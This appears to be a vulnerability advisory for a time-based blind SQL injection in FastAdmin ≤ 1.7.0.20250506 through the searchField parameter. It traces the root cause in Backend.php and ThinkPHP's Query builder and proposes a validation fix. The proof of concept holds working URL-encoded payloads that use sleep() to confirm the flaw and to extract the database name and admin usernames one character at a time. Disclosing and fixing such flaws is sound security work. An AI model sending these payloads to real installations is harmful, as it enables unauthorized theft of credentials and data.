Logo fastadmin 1.7.0.20250506 - SQL injection

fastadmin 1.7.0.20250506 - SQL injection

Title: SQL Injection Vulnerability in FastAdmin ≤ 1.7.0.20250506 (searchField Parameter)#

BUG_Author: pemic

Affected Version: FastAdmin ≤ 1.7.0.20250506

Vendor: FastAdmin Official

Software: FastAdmin GitHub Repository

Vulnerability Files:

  • application/common/controller/Backend.php

  • thinkphp/library/think/db/Query.php

Description:#

A time-based blind SQL injection vulnerability exists in the selectpage() method of FastAdmin's Backend controller. The vulnerability is caused by insufficient sanitization of the searchField parameter before it is used in database queries. When the field name contains special characters like parentheses (), ThinkPHP's Query builder treats it as a raw SQL expression, allowing SQL injection.

Vulnerability Analysis:#

  1. Root Cause:

    • In file application/common/controller/Backend.php, lines 494-521, the searchField parameter is used to construct WHERE clauses:

    $searchfield = (array)$this->request->request("searchField/a");
    // ...
    $searchfield = is_array($searchfield) ? implode($logic, $searchfield) : $searchfield;
    // ...
    $query->where($searchfield, "like", "%" . reset($word) . "%");
  2. ThinkPHP Query.php Trigger:

    • In thinkphp/library/think/db/Query.php, line 1300, when a field name contains special characters like (), it is treated as a raw SQL expression:

    } elseif (is_string($field) && preg_match('/[,=\>\<\'\"\(\s]/', $field)) {
       $where[] = ['exp', $this->raw($field)];
    • This allows the entire field name to be executed as raw SQL without any sanitization.

  3. Attack Vector:

    • An authenticated backend user can inject SQL statements through the searchField parameter's value.

    • The injection point is in the WHERE clause, making time-based blind injection possible.

Proof of Concept:#

Prerequisites: 

  • Valid backend account (any privilege level)

  • Access to admin panel

Step 1: Login to admin panel

POST /admin.php/index/login
username=admin&password=admin123

Step 2: Send malicious request with SQL injection payload

Prerequisites: All requests must include X-Requested-With: XMLHttpRequest header, otherwise the vulnerable code path will not be triggered.

Normal request:

Decoded: searchField[]=id&q_word[]=test

GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=id&q_word%5B%5D=test

Time-based SQL injection (2 second delay):

Decoded: searchField[]=1)and(sleep(2))and(1&q_word[]=1

GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=1%29and%28sleep%282%29%29and%281&q_word%5B%5D=1

Step 3: Extracting data using conditional time-based injection

Extract first character of database name (expected: 'f' for 'fastadmin'):

Decoded: searchField[]=1)and(select case when substring(database()from 1 for 1)='f' then sleep(2) else 1 end)and(1&q_word[]=1

GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=1%29and%28select%20case%20when%20substring%28database%28%29from%201%20for%201%29%3D%27f%27%20then%20sleep%282%29%20else%201%20end%29and%281&q_word%5B%5D=1
  • If response delays ~2 seconds → character matches

  • If response is immediate → character does not match

Extract first character of admin username (expected: 'a'):

Decoded: searchField[]=1)and(select case when substring((select username from fa_admin limit 1)from 1 for 1)='a' then sleep(2) else 1 end)and(1&q_word[]=1

GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=1%29and%28select%20case%20when%20substring%28%28select%20username%20from%20fa_admin%20limit%201%29from%201%20for%201%29%3D%27a%27%20then%20sleep%282%29%20else%201%20end%29and%281&q_word%5B%5D=1

Step 4: Verify exploitation

TestPayloadExpected Response Time
BaselinesearchField[]=id~0.04s
sleep(2)searchField[]=1)and(sleep(2))and(1~2.0s
sleep(3)searchField[]=1)and(sleep(3))and(1~3.0s
DB name='f' (TRUE)...database()...='f'...sleep(2)...~2.0s
DB name='z' (FALSE)...database()...='z'...sleep(2)...~0.04s
Username='a' (TRUE)...username...='a'...sleep(2)...~2.0s

Impact:#

An attacker with any backend account can:

  • Extract sensitive data from database (usernames, password hashes, tokens)

  • Retrieve database structure information (database name, table names, column names)

  • Potentially escalate privileges by obtaining admin credentials

  • Access all data stored in the database

Tested Environment:#

  • FastAdmin Version: 1.7.0.20250506

  • PHP Version: 7.4

  • MySQL Version: 5.7.44

  • ThinkPHP Version: 5.0.24

Suggested Fix:#

Add validation for the searchField parameter in Backend.php:

$searchfield = (array)$this->request->request("searchField/a");
// Add validation - only allow alphanumeric, underscore and dot
$searchfield = array_filter($searchfield, function($field) {
   return preg_match('/^[a-zA-Z_][a-zA-Z0-9_\.]*$/', $field);
});
if (empty($searchfield)) {
   $searchfield = ['id']; // Default safe field
}

Timeline:#

  • 2025-12-18: Vulnerability discovered

  • 2025-12-18: Report submitted to VulDB

Last updated on